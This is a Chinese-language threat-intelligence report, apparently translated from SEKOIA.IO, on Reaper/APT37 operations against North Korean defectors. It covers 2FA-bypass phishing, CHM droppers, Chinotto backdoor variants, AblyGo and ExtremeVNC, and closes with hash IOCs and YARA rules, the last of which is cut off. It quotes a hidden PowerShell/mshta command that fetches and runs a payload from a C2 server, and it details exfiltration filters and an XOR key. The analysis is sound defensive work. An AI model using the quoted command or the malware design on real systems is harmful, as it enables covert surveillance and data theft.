在我们为保护我们的客户而进行的日常搜索中,我们发现了两个带有开放目录的朝鲜-nexus 入侵集Reaper (又名 APT37)的命令和控制服务器(C2),使我们能够观察托管的植入程序以及受害者的外泄数据。
Reaper 至少从 2012 年开始活跃,主要针对非政府组织和民间社会(持不同政见者、记者、朝鲜叛逃者)开展网络间谍活动。收割者的评估任务是监视和反情报,以支持朝鲜的战略利益,特别是国家安全部(MSS) 又名。博维布。Reaper 在过去的活动中使用的感染媒介包括利用 0 day 漏洞的水坑和带有恶意附件的网络钓鱼电子邮件。
SEKOIA.IO 分析师的调查导致发现了几个网络钓鱼网页、CHM 感染向量、新的PowerShell 植入程序和Chinotto 恶意软件模块,这是卡巴斯基在 2021 年 11 月记录的Reaper 签名恶意软件。我们评估最近观察到的活动几乎肯定与对朝鲜叛逃者的监视,并将其与收割者联系起来具有很高的信心。
我们的第一个发现是针对多个电子邮件和云服务的网络钓鱼网页,例如Naver、iCloud、Kakao、Mail.ru和163.com。在某些情况下,我们能够检索网络钓鱼网页并分析其源代码。
SEKOIA.IO 分析师确定了 Reaper 运营的两种类型的网络钓鱼。第一个是针对 163.com 用户使用的,非常标准:收集的凭据被发送到 PHP 脚本,受害者通过 Javascript 被重定向到真实服务,然后是一个虚假的错误消息。有趣的是,用于发送被盗凭据的变量(atotsuke、akaunto、pasuwado)是日文的。SEKOIA.IO 分析师认为这是一次假旗行动的可能尝试。
第二种是针对 iCloud、Naver 和 Kakao,它更复杂,因为它可以依靠四种不同的技术(HTTP、websockets 和实时消息传递公共服务 Ably 和 Pubnub)来绕过双因素身份验证 (2FA) 机制。
SEKOIA.IO 分析师评估 Reaper 可能在服务器端将Ably和Pubnum服务与浏览器自动化库(例如Puppeteer )连接起来。在这种情况下,浏览器自动化脚本将用于检查提供的数据是否有效并窃取身份验证令牌/cookie,如下所示。
由于 Reaper 使用的 API 密钥可直接在客户端 JavaScript 代码中获得,任何人都可以订阅通信频道并查看 Reaper 操作,这为网络安全研究人员提供了深入了解 Reaper 受害者的机会。
值得注意的是,这些钓鱼网页并没有被任何域名解析。因此,我们仍然不知道受害者是如何访问它们的。它们可能通过使用影响某些服务的漏洞嵌入到iframe中,插入到攻击者控制的网站或通过电子邮件发送的 HTML 文件中。
我们调查期间检索到的感染来自 2021 年以来的在线 Github 存储库,并被 Reaper 用作暂存基础设施。大多数感染媒介(其中有十几个)是包含恶意Microsoft 压缩 HTML (CHM) 文件的RAR 和 ZIP 存档,有时与诱饵“受密码保护”的良性文档相关联。打开后,这些 CHM 文件会执行MSHTA以下载并启动 Chinotto Powershell 后门的轻型变体,如下所示:
由于存储在HKCU:\Software\Microsoft\Windows\Current Version\Run\[Random Value]下的随机注册表项,从远程服务器上的 mshta 文件加载的 PowerShell 后门确保了它们的持久性。该密钥执行mshta加载托管在C2服务器上的后门,如下图:
C:\windows\system32\cmd.exe /c PowerShell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass ping -n 1 -w 487980 2.2.2.2 || mshta http://[C2]/[mshta].html从托管在远程服务器上的检索到的 mshta 文件中发现了两个 Powershell 后门变体。第一个,以前称为“轻型”变体,已经被多个网络安全供应商(如Ahnlab)记录在案,是一个简单的后门,它每 7 秒与其 C2 通信一次,以接收通过cmd.exe /c [command]执行的命令和将结果重定向到特定文件。然后将生成的文件内容以 base64 编码并通过 POST HTTP 请求发送到 C2。
第二个变体与第一个变体具有相同的代码库,但它不是通过cmd.exe直接执行命令,而是接受一些由 Powershell 处理的硬编码命令,例如:
根据韩国互联网安全局在 ThorCERT 上的发布,这些部署在受害者计算机上的首批后门用于执行 Chinotto DLL。
2021 年,卡巴斯基发现了一种名为 Chinotto(基于其 pdb 文件名字符串)的新恶意软件,归因于 Reaper。根据卡巴斯基的说法,这种恶意软件显示出完全成熟的能力来控制和泄露受害者的敏感信息。如前所述,该恶意软件具有 Windows、Android 和 Powershell 变体。Chinotto 的旧 Windows DLL 使用 HTTP 与 C2 通信,特别是使用以下命令:
cmd:执行接收到的命令
down / up : 下载/上传文件
scap : 截取一段时间的屏幕截图
ETC。
在此调查中,SEKOIA.IO 分析师仅识别出 Windows Chinotto DLL,我们称之为CKU和DATA变体。在我们分析的变体中,指令是硬编码的,使用“cku”或“data”命令,具体取决于变体的类型,并且与 C2 的通信仅用于泄露数据。
上图概述了旧样本和新样本之间观察到的差异。图的左侧显示了一个 while 循环,其中包含从 C2 请求命令并执行该命令的函数。在较新的版本中(图的右侧),while 循环以及从 C2 请求命令的函数都被删除了。相反,该命令在 base64 中被硬编码。上半部分对应“cku”版本,下半部分对应“data”版本。
除了硬编码命令外,dispatch_command函数还包含其他可用命令,从而可以区分卡巴斯基在 2021 年底发现的样本和 SEKOIA.IO 分析师观察到的样本的功能。下表显示了添加和删除的命令。
CKU 命令是三个功能的组合:
屏幕截图
键盘记录
数据采集
ETC。
每 5 秒截屏一次。屏幕截图的名称包含以下格式的日期:YYYY-MM-DD HH:MM:SS.jpg(示例:2023-01-12 13:23:45.jpg)
键盘记录功能使用GetAsyncKeyState API。每个击键都与当前前台窗口的名称一起记录在名为C:\Users\Public\Key.ini 的文件中
正如卡巴斯基所描述的那样,要选择要提取的数据,Chinotto 需要一个包含以下内容的过滤器:
一条路径
至少一个描述要提取的文件的正则表达式。
然后,恶意软件将从目录路径及其子目录中收集与正则表达式匹配的所有文件。
CKU命令:
从C:\Users\Public (包括子目录)收集.ini文件。这包括Key.ini文件。对应的过滤器是C:\Users\Public>ini|
检查可移动设备是否连接到计算机。如果是,则转储所有文件。过滤器是:\> 。|
检查目录C:\ProgramData\Phone是否存在。如果是这样,所有文件也将被转储。过滤器是C:\ProgramData\Phone> 。| .
我们只识别了几个“DATA”样本,发现这些变体的复杂性低于 CKU 变体。数据收集使用与 CKU 命令相同的原理,但具有不同的过滤器。我们发现的变体没有相同的行为,例如这里有两个在不同数据变体中发现的过滤器:
从公共目录(CSIDL_MYDOCUMENTS、CSIDL_MYMUSIC、CSIDL_MYVIDEO、FOLDERID_DOWNLOADS),该命令收集具有以下扩展名的文件:|jpeg|png|gif|bmp|hwp|hwpx|doc|docx|xls|xlsx|xlsm|ppt|pptx|pdf |txt|mp3|amr|m4a|ogg|aac|wav|wma|3gpp|eml|lnk|zip|rar|egg|alz|7z|vcf|3gp
该命令从D:\和E:\收集具有以下扩展名的文件:jpg|jpeg|png|gif|bmp|hwp|hwpx|doc|docx|xls|xlsx|xlsm|ppt|pptx|pdf|txt|mp3 |amr|m4a|ogg|aac|wav|wma|3gpp|eml|lnk|zip|rar|egg|alz|7z|vcf|3gp
数据提取(对于 CKU 和 DATA 命令)包括创建具有以下名称格式的文件的 ZIP 存档e_[ckupd]-[a-zA-Z0-9]{8}.zip。ckupd部分指示存档中包含的数据类型:
d : 由“数据”DLL 收集的文件
c:存档包含屏幕截图
k:存档包含.ini文件
u:存档包含来自可移动磁盘的文件
p:存档包含来自C:\ProgramData\Phone的数据
这是生成存档名称的函数示例。
一个名为zdirpath.txt的文件被添加到存档中。该文件包含两个字段:
dst字段:这是受感染主机上的存档路径
src字段:该字段包含与当前提取的项目对应的过滤器。例如,e_k档案可能包含以下zdirpath.txt:
dst:C:\Users\TVM\AppData\Roaming\o27PUrAt1mUZxl5X\e_k-2S8ngaA5src:C:\Users\Public\ini|
档案被加密并通过简单的 XOR 发送到 C2。我们发现的所有 DLL 都使用密钥:PEXdRUSBACXX3DAD。
注意:虽然我们没有对此进行分析,但一些样本的名称(特别是data.dll和data-withoutzip.dll)表明提取的格式可能不同。
AblyGo 是一个用 Go 编写的简单后门,也存在于 Reaper 的 C2 中。它使用 Ably 框架来接收命令。SEKOIA.IO 分析师观察到的样本通过提供以下内容来订阅频道:
应用程序 ID
身份验证密钥
频道名称。
类似于 2FA 绕过,我们尝试订阅频道。但在这种情况下会返回一个错误:Application [REDACTED] disabled。
我们还在 C2 上发现了几个装载机。这些加载程序是mfc42u.dll DLL的修改版本。这些 DLL 的目的是加载名为evc.dll的 DLL 。这个加载的 DLL 的路径是硬编码的。找到了几个路径:
c:\users\public\data\evc.dll
c:\users\public\librairies\evc.dll
c:\users\public\vnc\evc.dll
c:\程序数据\evc.dll
不幸的是,我们无法在此次调查中获得evc.dll样本。
我们还检索了一个定制的 VNC 实例。在撰写本文时,SEKOIA.IO 分析师无法评估 Reaper (APT37) 是否或如何在此活动中使用这些额外资源。
我们找到的最终样本名为 ExtremeVNC(来自其 PDB 路径)。顾名思义,它具有 VNC 功能。它通过 HTTP 与 C2 通信,每秒交换 json 数据。该协议的命令是:
BROWSER_REQ:使用 cmd.exe /c start <command> –no-sandbox –allow-no-sandbox-job –disable-3d-apis –disable-gpu –disable-d3d11 执行命令
SC_REQ : 截图
CLIP_REQ : 设置剪贴板数据
EVENT_REQ : 模拟鼠标和键盘
CLOSE_REQ : 停止 ExtremeVNC 执行
在每个命令之后,都会向 C2 发送一个响应。
SEKOIA.IO 分析师评估,最近观察到的活动几乎可以肯定是 Reaper 网络间谍活动的一部分,极有可能针对在韩国的朝鲜叛逃者。
我们的分析提供了对 Reaper 使用 Chinotto(一种仅与此入侵集相关的恶意软件)及其持续开发工作的深入了解,如记录的新变体所示。SEKOIA.IO 分析师评估 Reaper 将在短期至近期继续利用 Chinotto 进行网络间谍活动。
// Malicious CHMse96a18b5837c7a7d83215d70ca10b84ee8c7b6e8dbd4d215586ec062d328ce861304fbeca197e4e67959c0b89b619cc109e4825d0da26ac41277eb34d2a19bc61409c4d0bd9a22a1e5adf016fffb83bbf3bd9f72ae0773780a409b980ed977636c1f0deadbfe5aede933592a9692b18879232a29bfdda5a666b91475b4746612c9ea7afef5ac790297bdd0fb78c06186516957542e5da326075a0e2d230c27c1a320ef003f43b28960043f95076c2066891e3a6a785476a2615a1f7b50a11c78a88dc9a152cc7758a1df5aa33cf7b31cdb14e593a8744f2059602a49b8b04e0f 1fcf8bfcd70b97c6d3c9ac93602db4ee41a5d09f0a4b92fa67b76668fb33811d 309cb38fbcd0132552fc739dd37d32c24b91ba712bebb9886d4638bceb2d8bf3 001e8e66fa4afc58cab23f5ee490f3080ef985c83d3b2a4555fc9c39cf3f0f0060bebd891008eaf8a647d91803107fc52294ceaab8b59b89958db4a0de58cdb73495c2d6120f81f3752828f532b6a70ce7617b725e6989cf2d9cdb6aa45e67b5aed329e6545a36eff46bb6db8bdaa17841a4ec77228955d81872fed549ccb6b0e02f7a9d7a541d0ed352706de943c178650a675eff667cb848ec0dc977c0a36e340cc38c9abd07029e3d621395575c9a4a64459334ef84b623d105886540341da349e684593bbd01b244f94c28aa024ee49c3b3ebc89960e53e40750ae9c30265e5b8f7b6017141815001a0678a99d05dc8302b50517c47d5f282b3c36575631e9548b0f91addf3ce68bc5b4b9e86a17c069a221815062e1aa93d2978ecd2028bf873293aa330eb21ab96f8e71fa91e2d212852e81f292e769c0fba2d72a22da882f05dc159b055b01de7331e22fb6b5ce858308015a912b49487c56f0b4a8d58b5d5e49d9d65b8b9faba344923cbac87473f2a32c646e359799ed655e3d6c99e137bf5653134049caf9010d4c6d82360bf569ecca05fe15440d7fd0b0ff5fc46c9598a5fbc9b54fbbd05ee0bb86549ecbba715093413326b58a1b9d2bb364bac52981edd74fbc45cca4216e66da5df9918000cc4617156ab42c914e7eb73ee977154402f8eecc5a446baf0dba456a37d1ca9348858540a8d048f3fd372fa36a4eb676f3afb1774224bc59041944ddfa4a3417630d01659ba3f0ced834ead97a3920ff557299bcd4ccde1770c759263b93b70414258ec9030bbd0cb750bdb33062bddd53043bab508e8e96b7c8353549d8eaa4b9004e7b3303e8a4e91b0b6202a043f8dcf0690660c5c8f7a75f07336ca5576164295da34a569129548f8078fc582b8f5eb81ef5d8da2b11fb4ce63f52fdeb1c2ceb3ac7a01113f9f3ee60804ebbb655ea68b9e0bce63d5edbd03e0f75837f44539fec28dc12d44b5ba5e6d9c5a401a733ceb80b004deb347092affe572eda4e1ca6aa6c77bb0c6ea7e849134674c357cd2c8b7ec4b2db1a5a97bf0814a5c30efb9d1e90e9f6f98f4c638094606aa5b179dc811f314bd9c9be06dc7ad783fbcc53c756b1e8930b81004890057baa8591591b56eff9c74a3408090a67cd9b6580315d12376370ca9b0b2cbe813ade90ff636f36c0712ad6d0c7b1e06d7fe0d38e0b5e224ee21a98546d798e1de01cfc5537f9d4ceccfa3ff5d6007bb586ac2fa7be47357339e781934079dbe075d10f84322b0eba3bdee9450d7cf17cc45ec7734a803e15b4758007496923a092e8c24e35b0c2e56472ee5db018f5ba7b5c0d7479de4ac2e4d82f789ef40082ab20f15c2bb53e75a379add7d8eb7ac59518cbd27156f2904027e720391896956d3ce39ba84610cd6c7ef3b09f36455884d323f981cf8426a6788aaf5d5ee951ac958495b047026950ba041fa6189678a3147ea4b08dbf1804d263d963d4d892f170764e99dae34d7dded5da591b8e2a05791a5f85fc360ee2a524601fafc80fbab8c27cb9be91885a470377088d6639b95b85dfe5ae3c346e537b143a871830b84698851535c1029d10190e5d5518f90472102918a336222e9e9c7dba1b5ff2a0b2338643e86d2251f46302e21f33d02394f006533fa6942f40c203f3797562ba1e1f29851edb5b16a440b931ba4dd8620b314e0aa37df8546ccfcf7023eccf1afe41b4b2d7a303b43c47c925b4ff39f25b288ac5cd40b253f6d99da493303f1a96eff7e259b6800c01312d6e359c21a88f755ac5704fd7ea60fb4df6c74b91650adbd633d7e5e966ada2716372589511d345808f15d57125e842bec1006ffa429872ad543e7c74dd0b1cbdbc9c9ee5bbec7ae0f387cfba13bd107ba0682a17730d4c0502641a8667438ae236695591492ad8439013375cbd1f4da58102b152bdde179b30dfd3b01bc42d8d16ddf430b851cc480104d54d366259347b7056d70d7d4903a6f420a4cad926837f2f41d9eb7d70d9cfe201326deb68c179b3c1c6ed30404d00b3d1b9c9c7f45733fd9972a492b5e534e47c8cccbcc4d3e714d4e43b65c6700283c58e65157346a316af470334e2dd6446f052e64d4a5a42dc14b18e336d9f1a19fd5403085c9956097e883f80579a3ff0004d734826a253e13d2738ff73af2bc88cb9c396b31f6991177cd869f9ca7ab44203f3721b98f8c29fdc4b3d6fbccc1abd8a08acd52b6380627e350faa99fcc348e5ed366c7b37af6d2757eb9c7d8be1b2b496153434b09d514578b4a1185cdf3c0978047b26fed0d45352bcdc17fb98965d268f2882fe8db978772bf8be5b6a24da817c783d1368176db67fd9ed5eebf320449f8b653b2ad5334864e8bc46a81b6dd9ee7bef229ba3ce6ebe702b7938867d6685ff23fbf9b34f534bffe2fcf54e96c9ff64979c60272c2d1d12e2292954d16d159c66734bedaec183c1e99a312c58f169ec8fb0c61b89ca9313c9ef14fcf5ade01eff751ff83dd27ffa3439d457eac90f6339c83a40f18cccf214923c22d9e7b15aa0567a85dea050e2d18dae283784547628c96026d1f930bcd224f2c0ab89a2e33665db481d6474f102edcf02f5c90a308e3e1f993659ea08e47329f07f6c510710965761859b2e264c36aec6836fa4d95f89440c903896be88775a634efdd42143f7bdd16377ab577ab7ac839fc7e509b85841fe3d64c5cb086c9ef8c55ed1a520d1d71595e056862b6d3471a948ecff72ccd738c77365c8c363f1c407304416dcf3c0943f5edf1d17bf70c3fe96afecf3979e1b57434023e8b2b6eb85ab958c98c31bfe365ce09d6e72d09e8115e572aafee53fd6b62c05f80415a6cde676fb27cce74944d0cbe6c9fb951da41212056ef2b3420b95072126ad9d8870ddea47165f28b0fd1b06770b9b1c49c6ad5b0ca6e7bc// Malicious RAR archives0a468e474f9d7750c055e1b7277e8fcd13f034d6097edc6f6171162ec15fcfe50cbe696107c11fd325972c95ead964defdea935f9be3b29337c38f76056a878a6a55c5f8f0de6883705bbc0e050d9a5a34d8311e80b738e644e119e1502219a5 751bfe7e49cdbc48029894fca27f9d7abeaa320a77d48b6cb12bf11f356e64e3 97d3e5542cfa57e8e89220575f089d0ac78004523eaebed967c512b31a017657 1a4c29c7a67eeab072b89ab0b4847fcf83336c09de7aba7eec1aac8cfdde9583 7d899e2baef34c189185511eaa3cbc94429c5000c9bd37de232192832149f8a4 1aa0139e9e1e60887670d70d78bf6076c5c0bf49c9df2601ecd68ad2b862fb81 7c7986ce54bd28ab5a6e106df28a6339de6e547a2a8a25205bb6749df49df1ad 4dd424f71c03a5866a299b21ceb936efe6d9090f5bdc7956026b32cad60f6e6b 06d8ae2e5a6854d17ce66f915cb7bbd0fa8eb1148c2ad3622e09bebd9264f0fd ac31880c5a10e7227064b7098a2e73e5001349123b0e9b6ac2aa8efa05b0729b96dd478308be5562606abf20eadb0c59c0ea32315ab35a68d89aaae4d935ea90ba0d75a758abec880413c3f87d171bf34d93465fa868e6a09e5058daafec24a8554d242091e461caad508075d0d549bcc1a608ed3803e0b948906cebf3360512254b342558d8f17305b673b75c7d7986f12aae2f602952298cacf5d2386b912eeda69069fb6a3fa3cfc10db029e8ebbee936cab19137cad103d9fc6abdae8cb9b2a65efb15e0aeaa9327a77a90425d86154f24305943f49eb28eac8fd579c0c48614379371e3da809c512a945c19f48b326d2d28ea1603fb394fb18e814a1ca5a873799887b10a24822bbccec347f18e5694a6ae462275b2bdfe3ee823db00c18b7226475879499581bbcd7d0a041c53cf6683ba459ff0893b978c58392b8d88c4f6f3d2cf38b2504a11d5985ed36bd74e752e2612bc187d45d7882e032e787f310ab0c4bda52b9c2eed449400d6258ee185a86961f741a32f659793b7196d58c29671803a9c6c4e73d270b96794991675f8edb224c278c8cf67642cbd797841fca8c7b30176a2df8ba07d2620cf0b2596bdf1776ea190c0836fb2445c53445c36b0eacfeef3e705ca8238128d2c9bc29f79a13104c4d6446029878a32d83f0944fc2a3ba8f2eb45ace9206348fd9294cfc05ee770956a2a083a41df933e999cb0df708a46b5b7a569a7afba09ce119130f33570c7126e8f2da4f19c9866ce691aa5d7e36ee39b35aa8707270e4d293a934ad7074f92c919247f1c419f2512ef129e9952b30447d091eae462145b37c0ceab7045a8b9e353e174c482c5aee439785267e66243759d675e1ca6d079f1c5d236db1711c7d18359c8788fe83aa507d86ffd9facaf9fb3c3fbc77dcfd07a481cc6f3e6b03a97c83e4e04d836a542497b909b584a9c4f367688cc43f24e54b85061c6b2dc2092cc29e4948cc9dd200000456233c623e49ad468e07eee0b6a8de6fec51c907ca4dca48bb9676d5abf924d3c301db179ee4050ea727dfbeef03a97d042c72a7ad50930d0fd82e0312267a3432293b0e205758f24bdf35a7f1fe7e9882c2826f2632eb96ef48753fd0e435a872feb72db7a50ad5475de9673721ec08335c8d0a32f61d3c4824bbe9f44c0654c6e6c4bf02474ebdf9fd8efd852bb0cc7d845778048a1d912de089c28f9e114295870dc579e05484d0235b09c08685f089ea00acf436ff6becab2fe68a0f1ce34b6d0e00bc39e95c1a99da13dfee5168b37450e095455aefc90aa6992387eedc56e285eedf8091b7af1d88c40c78033b0756324895435037ac25b4d0f65721ba56ee137a6522c7fd48ff602845d6545c08e59c2c884e701c1c274bb17e14f0a0d5d808df5cccc5c3f0fd9a3942e7258983d6f9953a24e1b62b41a2885b7117fe753df26f4fc2e5739c793f4e3aacd79121d40758298ef7eb9f412d58ba472a4b33e5bbdd18d3be9791d4f75d4aaced3e8a7dd2c8fca61b71fdacce64c4717654b2f87d74faced201ae28af84029a635dcf389961cfa2a4836fe0036aa1fbee11d870b4a32d7cfb79ed4ab9025ef8a71a9fc30f7538dc45d95950a69e10d107c0560269b2eb38611ff9f9f01f5464cf5cebf31fb0edf296cd593bab3ec176a9f7c23929750bf9485822c95e4dc8912b0e27d64c5c47b450bf000a7e5389606b368ffc1857bda56c1a2b8208dd79f99d88122f7a487bffb391ed5deb3fd64f19a2fd762a4b6c5aba8ec8517684733dfb975b52a679bc48411af0138f0dd67152d52a3ddb83527bf46e77a586b949545ad8c9cbdd6f88b6e60e067a9c5fb3bbcd36a43ff19f17aae99bc0313b4599e1a17b1800e4f02d82a0682a5ca6aeafa24ae237490d9160229e06765214813fe758eef3e5fd2c24b720477410528f878ab1481c51d23010a19ce8123c03309977764608a24e2861cc973db1607faf6eaa1d0517cc7937571a3dc73bda357b9e8607338e0a12ecf80185cc30762ae7d8fe44087a4baf4b7b138a45dff35454b232d7416378618d0df02eb43d097cfcd372b72548033c351d7df63f1ff6f04fadd102fa4723801231c9927844e679f0bfcb60146b8ef0acfe54299df86a6cd68c31c3e62947e0eb7b83cbd90b71cb328cbc0b2085189dec811d7ace5e391b7abb481dabac4e006ca81b0511b9f36464dc0552fe262b3ca3b8fa2d3bea81041e07d1461361f86c1e5f4662bc10c0014d1d6eba6c0aeaf18877ee2ac91a905574fde27d0531d8cf6951f4862fd07b1a083339569ccfdb2464e75e96374175264a0cf44a04f6be374ab7f6ba954548d6c684d5709b03061bc2eb872c0cab80c7ce2ed5f091227917c324013c72a1008caec734dcecfab5dc78f9a44045e7afd0bdfd34921b6f64d7e8e06354e1c44abe055e09b18d5ac5900d8662e7ac58879cfd86a3dec4534c08cdd6d17ab85008646490f03bcd7f20254c5231a9a2074b656e78863af0ddc3eea71edac0bca01fd4f3c0b996e37dd3a2c6a457891065e09d47cd1fc25a91f2001ac8813de0a5e55f9c125be691e0d7d063e31623d811c8d95a1196d524ffd0ae6a11938bf366c2aa1ce83fa08a4f6e8ecf88ecbd40cce042e5ada2ebdd8627922eb998edefe356c30d38edf68e3e7e3c347383d4f43146e17ab9ff51a67c9269954edc4a83b5592022ec6af06df2ba4703c713b92b6be1d47757db14d3fb919314061bbe0a41020f133f56b7bf8b72efb633b3e9fa66408746fb0d194eba2f218e9866e12e745a64044a32b053b8798841bc2f786d8c4656a95b2371a6f9d723a239f1a1ffd1c2867c96f75c3f347b385576b17257142bc37fdfde835aa2668cd35acf41957b1527857d8142c0c2c0f3eaa0e16c906564f5c9e0b3e62511c2629e831db4fd00c21c5ee8d94ccb72f028e8f0c2db6a33faac4aea437b5acafb8f6e7749278ca15054ad8511450360f12c8206cd9747ecdf2eb3e27462ad269132d11528de58429ff3ea1be71b666587f287983fdc6239ef002befdf371065d5e465dd51cbfff089b51e17541ea5ae08696c70fe829f4e20b5bce59145c00d2ac8c2c9254b419e7db5a00c6f19b4f42951e1dcbc935e6f1af09a048f8e5915014eb8c5352ee2babb7d8f9089cca1c398d0dd4a4dc937d79436ef56ddd57786bf9f9fc1eb86a57e3d23644a3905e0374b92bd8aa54c35d9435ed928e1f2ce57a7f333d1a2c094488c111da80179429bd95820713b830a1e5e2acf9350824b1a5d24617bd801d62618979432b526d0ad3ccaf193339662dc45cba35b93936ff08649ccd93fcb3fce194bc63737cfc78cabd12bad6792dffbcaf54b1e326d7a72bc920c3653bfec07e15c424fda087c6a8a4d0e00a1fbf92ca07263b16a08df34eaefceafd0050dd9a102c90946317edb0a2a53e0cb39153a0064882cada1497da37091cf8f6fae8c869aba60a1be84f74a05aeb7fd10a1639f02f8c743a63f7c36ef054de42fda22eb0fa45f0f3798132f94daead2f4e3194181ce432dd8758b7d217987c3527bd7c2104125be0978eaa70919fbb7533a7b7f21955de727c33f045bf486ed892cd841ec11736203103aa95501153005d50d5b8b1b0460f29166c392ed97209d2f593984cf4ebde259d4d5036a9b864d634a1b474c10d2ee10d0b7b6fc2079836f8847ee32ab09b25fdca324b3008d76d90c5ef83757ff1b8a95ea34a9b5c5f4dfc4f6d3d830ae000cadb5c34fe3015f3e63db802a6459270ffc9ab0b2fae569f96e29f7e855692647f5a49bb05d4232fd95952e95d2aa05443219c1ac68815e38ece95cdcbace070ba83e1d6a86bc3a51e3fc7ec633f1a9ee55d283b6d1a8308f758c1d7340cf043f51b1350c204a76ff592515ff65ecfabec03191286d807f80067c913c2be74900eb885d40574f30f7f9385eb19e2d76767a93b92cbe1c917ad29df8961ee9e33e5409cd5dff6b40c9c85294d3e95334c3e9cd2700d54de710b9381c54a023cde70fb47127c8b1b9ed57942be12a216adf354db51142679d13c7ea10bfa8e90c61468b7a7f0aad8c08ac22d574c4e3f8ab6ae68ce98a5361bbad125bd// Malicious ZIP archives468515f4517e0381745899e6cdda73e7e201a22f19e70795fc719d3f877b9571b28636d4eae43bb5a2e404a410655fb48c3d6d6993263dbe25d08d71540f87e9e7cce1c49655ecba7c570f873b10d1ec735fedc2310179abb0163b13cbd7d625// Malicious XLS/DOC:db70f269d62c43bd09580858731853a589e0f32f2d3c915b15cb9f0b4b9f12d20474bb7c100c5187c838e5cf14969fdaf04ed541e373aa3b1ad607dd2b420a1b// CKU variant3eed452d24c7959e19afd6de5ccf883a91de5202c8cd722a18863297ad4ed8b1c9d2c8b6011a53e68e4a6c6e51142cef3348951d0b379e49b1a65a1891538df52f5be3773e7e3a2f6806cdef154adfabc454c0e57a49e437c5889ce09b7393025bf170c95ca0e2079653d694f783b5bcd38f274ea875f67f0b60db4ac552a66c6fad04c836bc923f12ebaec8d8fb0c7091b044bf6f5c97e36d7bf46b8494f97864fe964f342acca6d85d247c4f67503e4222a58dfc5c644dedc2006a4b356d396e216b265ea391f71f2a609df995f36b9ba8b17c8859f6d8e4ce4a076d351efd 70dcc03cde3dd5c5ec6a6a240190cfb51667aaba9c867e20281e8dfc43afa891 5053390bde150b771f8efe344b692c6c5718ba9203a4b23f5323af1ee9060ff2 089e4dfd8b25afe596eff05baae86156a4e3243c84faa15416cff31a5120e107 37e096338a78cb06d6236cb5a04cf125f191871ded3c9421f08a37890a095eb8 b90a2b0249407b271a5d849fe82cbf4e9a31c2c6259caf515c9be3897e327414 8f4751ed22619b04009c4b85ec45c8140b570835ca4c638c9e6019e7b7feab7940559392bbf38f29267509340569160e0a3b257fd86e5c65ae087ea014// DATA variant7a0fd034239c02a18d30f15e4c8f6b6b0edc2c2cce6072c3d309a799ab0f46d165ddc56b5e10a02f2e9faeb2ebfb091364bad9c8660653d24a1bd584b16026b4fd824d0a10e176c09d7f320808a08ae80676bad2247816d53b934283adccd53baaa4717731cb4c3101fedf67827d5df5a3419e3cb742ddc4ee0571d9c0cb9e64// Loaders2e704a466eef2396f0b148bb0f25e3389594a9b5410e77f58d895b890a7925132b44ae43016b349a4a21154184edb90f533ee26ace7526cc83ee72bdbe85fbdaa0d9f57ff92f8668154579ad33c561cc0631c0148087fd9c3ebb68b7b2c454930af162367ec8827c5ed0d296bc3fc8a6fe33b6df19039437e43125b8ab9dd9d3// AblyGo644c6bb170d58c69709ddf49b6ba49b3aadd58b443ee485a03fb25f915fb6710// ExtremVNCa3405b7bbb7a3b693888bb90b2949ecb50b803470d36e15eed41e6b4d2f8e3b0
rule APT_Reaper_Chinotto {meta:id = "eff8fd11-dc7a-4011-b083-181d0cca8790"version = "1.0"malware = "Chinotto"intrusion_set = "Reaper"description = "Detects obfuscation or string of Chinotto"source = "SEKOIA.IO"creation_date = "2023-02-27"classification = "TLP:WHITE"strings:$chunk_1 = {C7 85 ?? ?? ?? ?? ?? ?? ?? 00C7 85 ?? ?? ?? ?? ?? ?? ?? 0033 C0EB 038D 49 008B 8C 85 ?? ?? ?? ??3B 8C 85 ?? ?? ?? ??}$chunk_2 = {C7 84 24 ?? ?? ?? ?? ?? ?? 0? 00C7 84 24 ?? ?? ?? ?? ?? ?? 0? 0033 C0EB 0D8D A4 24 00 00 00 008D 9B 00 00 00 008B 8C 84 ?? ?? ?? ??3B 8C 84 ?? ?? ?? ??}$movs_zip_dir_start = { C7 45 ?? 5A 6970 20 C7 45 ?? 44 69 72 20 C7 45?? 53 74 61 72 C7 45 ?? 74 202D 20}condition:uint16be(0) == 0x4d5a andfilesize < 1MB and($chunk_1 or $chunk_2 or $movs_zip_dir_start)}rule apt_Reaper_Malicious_HTA_file {meta:id = "22a98c27-8ff4-4760-b505-f8eacf4dabda"version = "1.0"intrusion_set = "Reaper"description = "Detects malicious Reaper HTA files"source = "SEKOIA.IO"creation_date = "2023-03-06"classification = "TLP:WHITE"strings:$s1 = "<HTML>" nocase$s2 = " UwB0AGEAcgB0AC0AUwBs" ascii$s3 = "= new ActiveXObject(" ascii$s4 = "\", \"\", \"open\", 0);" ascii$s5 = ".moveTo(" ascii$s6 = "self.close();"condition:$s1 at 0 and all of them and filesize < 1MB}rule apt_Reaper_Chinotto_PowerShell_Variant {meta:id = "fa42b225-58fe-4e00-b84b-df37491d8fdd"version = "1.0"malware = "Chinotto"intrusion_set = "Reaper"description = "Detects Reaper Chinotto Powershell Variant"source = "SEKOIA.IO"creation_date = "2023-03-06"classification = "TLP:WHITE"strings:$ = "$env:COMPUTERNAME + '-' + $env:USERNAME;" ascii wide$ = "while($true -eq $true)" ascii wide$ = "Start-Sleep -Seconds" ascii wide$ = " -ne 'null' -and $" ascii wide$ = "= 'R=' + [System.Convert]::" ascii wide$ = "[string]$([char]0x0D) + [string]$([char]0x0A);" ascii widecondition:4 of them}rule apt_Reaper_2FA_Phishing_webpage {meta:id = "348ca2ad-c8f9-4aed-8a27-95caa3a34f4b"version = "1.0"intrusion_set = "Reaper"description = "Detects Reaper 2FA phishing webpage"source = "SEKOIA.IO"creation_date = "2023-03-09"classification = "TLP:WHITE"strings:$ = "setTimeout(checkUpload,"$ = "commChannel.addListener("$ = "else if(commType =="$ = "?dir=DOWN&method=READ&id="$ = "Content : base64_encode(upload_data)"$ = "$.post(upHttpRelayer"$ = "var ablyUpData = {"$ = "initComm();"$ = "function Next(arg) {"condition:3 of them}rule apt_Reaper_AblyGo_Reverse_Shell {meta:id = "77778ef6-5d24-4888-93c8-390066dbf361"version = "1.0"source = "SEKOIA.IO"intrusion_set = "Reaper"description = "Detects AblyGo reverse shell implant"creation_date = "2023-03-09"classification = "TLP:WHITE"strings:$ = "main.reverse.func1"$ = "github.com/ably/ably-go/ably.(*RealtimeChannels).Get"$ = "github.com/ably/ably-go/ably.WithKey"condition:(uint32be(0) == 0x7f454c46 or uint16be(0) == 0x4d5a) andfilesize < 20MB andall of them}rule apt_Reaper_extremevnc {meta:id = "c519de4f-1db5-4d4a-93b8-f1e7c0827af0"version = 